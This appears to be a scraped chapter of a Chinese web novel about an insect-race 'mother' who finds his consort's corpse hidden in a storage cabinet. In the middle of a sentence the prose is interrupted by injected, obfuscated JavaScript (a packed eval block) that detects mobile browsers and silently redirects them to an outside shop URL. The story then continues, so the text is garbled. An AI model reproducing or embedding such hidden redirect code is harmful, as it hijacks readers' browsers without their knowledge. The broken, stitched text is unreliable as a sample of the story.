这间房间从来都不允许任何雄虫进入,是独留给虫母的。 珀尔点点头,“我会的,好孩子,这些年你们辛苦了。” “不辛苦,妈妈,只要您能回来,这一切努力才都没有白费。”兰伯特带着珀尔去检查的房间,那里的仪器就是珀尔之前用过的。 这里摆放的都是最精密的检测仪器,能把孕囊里幼卵的颗数都看得清清楚楚。 珀尔掀起衣服,露出微微鼓起一点的小腹,能看出来,才被填满的那一侧孕囊比旁边的那只的弧度要小一点。 冰冷的检测液体随着仪器的摆动轻轻在虫母小腹上涂抹开来,珀尔抬起脸看着显示出来的图像。 “妈妈这一侧的幼卵已经快要成熟了,大概还有一周或者十天就能诞下了。”兰伯特推了推自己的金丝眼镜,“新着床的这一侧也很活泼。” “妈妈,你把它们养得很好。” 珀尔眯起眼睛,看了一会后轻轻点点头,他还是很满意的,这些幼卵的质量都很好,虽然戴维德成为劣等虫的那一群孵化时间会比其他卵要长一些。 但能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823273|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让虫母怀上卵,已经是戴维德本身体质好、跌落成劣等虫也比一般的劣等虫更强一些才达到的了。 兰伯特擦干净珀尔小腹上残留的东西,“没什么大碍,妈妈现在的身体能够进行星际远航,我们准备好后就出发。” “好。”珀尔应了一声。 兰伯特的手机铃声响起,他到一边接电话,电话那头不知道说了什么,但看起来很急的样子。 珀尔这边也没什么事情了,他反正都做完检查了,自己回去也是一样的。 兰伯特不赞同,“那怎么可以,现在不是在虫星,万一妈妈被人袭击的话会有危险的。还是让我送妈妈回去吧。” 一只年轻虫族闯了进来,“上将,SCK号星舰出问题了,工程部那边说需要您出面。” 兰伯特态度坚决,“我先送妈妈回去。” 珀尔轻轻摸了摸他的脸颊,“好了,有公务就快去吧……这样,你要是实在不放心,就让他。”珀尔指了指这个刚刚进来的雄虫,“就让他送我回去吧。” “你去忙你的吧,我们就直接回去了。”珀尔眼看着兰伯特还是犟着,他板起脸,“不要违背我的命令,好吗。” 兰伯特不情不愿走了,珀尔朝那只年轻雄虫笑了一下,“我们走吧,你知道回我房间的路,对吗。” 虫母房间的路线这些雄虫早就连梦里都能倒背如流了,这只年轻雄虫有些羞涩,“虫母殿下,您的房间路线我当然知道,让我带您回去吧。” 珀尔点点头,一路上温柔地跟对方聊天缓解这只年轻雄虫的紧张情绪。 “你今年多大了?” “哦~好年轻,这么年轻还锻炼得这么好,真是个很自律的孩子了。” …… 走到一间普普通通的杂物间的时候,珀尔顺手放在自己口袋里的戴维德的手机忽然响了几声。 珀尔记得这是那个私密相册的专属铃声,他在尝试输入密码的时候因为密码错误听到过一次,这铃声很独特,也很有辨识度。因此珀尔还能记得。 他停下脚步,有些狐疑,难道戴维德藏在这? 这孩子不会又在躲着他吧,又憋着什么坏水呢。 珀尔向旁边的雄虫问道,“这是什么地方?” “是放杂物的房间,一些用不上的器械和柜子都在这里。”雄虫轻轻打开门,让虫母殿下视察。 珀尔走了进去,里面没什么灰尘,被打扫得很干净,他夸道,“打扫得很干净啊,大家都很勤劳呢。” 他没发现戴维德的身影,正要离开的时候,珀尔忽然闻到一股微弱的血腥味。 不同于雄虫新鲜的、带着信息素的血腥味,这味道不仅是被专业的稀释剂稀释过的,而且还已经过了至少两个小时,信息素都散得差不多了。 鬼使神差之下,珀尔看向那些随意摆放着的柜子,在最角落的柜子边缘,虫母看见了几道蜿蜒到地面的血痕。 越靠近这里,那微弱的信息素就开始浓起来,但因为被处理过,还是很难分辨出来。如果不是虫母太过于熟悉这信息素的味道。 他也不会发现。 他的王虫、他的孩子、他最熟悉的伴侣和最趁手的利刃,就静静蜷缩在这柜子里面。 珀尔站在原地不可置信了几秒,他把柜子门慢吞吞关上,脑子一片空白。 “虫母殿下,怎么……”雄虫看着不对劲凑了过来,被柜子里的尸体吓了一跳,“是……王虫阁下吗……” 珀尔摇摇头,“不是他,怎么会是他呢,他跟我说了会跟我回虫星的……” “他说过要在最后的日子里让我陪他,还说要看一看我制订新规则、重新登上王位的样子。” “他,反正不会是他的,肯定是弄错了,我们弄错了……” 雄虫没再听见虫母说话,对方始终低着头、垂着眼睛,又等了一会,地上的泪珠聚出一个浅浅的坑,雄虫才知道: 虫母在哭,在静静的、无声无息的痛哭。 “你先出去。”虫母的声音都带着哭腔。 虫母的命令没有雄虫能抗拒,雄虫把门带上,在关上门的同时,他听见房间内传来了搬动东西的声音。 虫母把王虫从柜子里拖出来了。 然后是清脆响亮的一巴掌。 珀尔扇得自己手都痛了起来,原本应该被戴维德紧紧牵着的细嫩手掌泛起红色,珀尔看着毫无生气的王虫,颤抖着手又扇了他一巴掌。 “你快醒来啊,没有雄虫能违逆我的命令,我现在命令你醒来!你快醒过来啊戴维德……”珀尔趴在戴维德身上,温热的眼泪一滴一滴顺着脸颊滑到戴维德的脸上,顺着戴维德高挺的鼻梁接着慢慢往下滑。 “你就是个混蛋孩子,有什么资格自己离开……” 被珀尔遗忘的、属于戴维德的手机又响了一声,是那个私密相册被解开了。 沉溺于悲伤的虫母慢慢看了过去,像是下定了什么决心,把手机摸索过来颤抖着手解锁开来。 他似乎预感到了,这会是一个很让虫母难过的真相,但他还是去看了。 与此同时,到了工程部的兰伯特得到了对方根本没有公务找他的消息,兰伯特拧起眉头,忽然想到了什么,一股不好的预感油然而生。 兰伯特赶紧朝着存放戴维德尸体的房间赶过去。 这一路上,他不断祈祷,千万不要,千万不要,虫母千万不要发现,他才得到了这份温暖没几分钟,不要这样对他。 妈妈……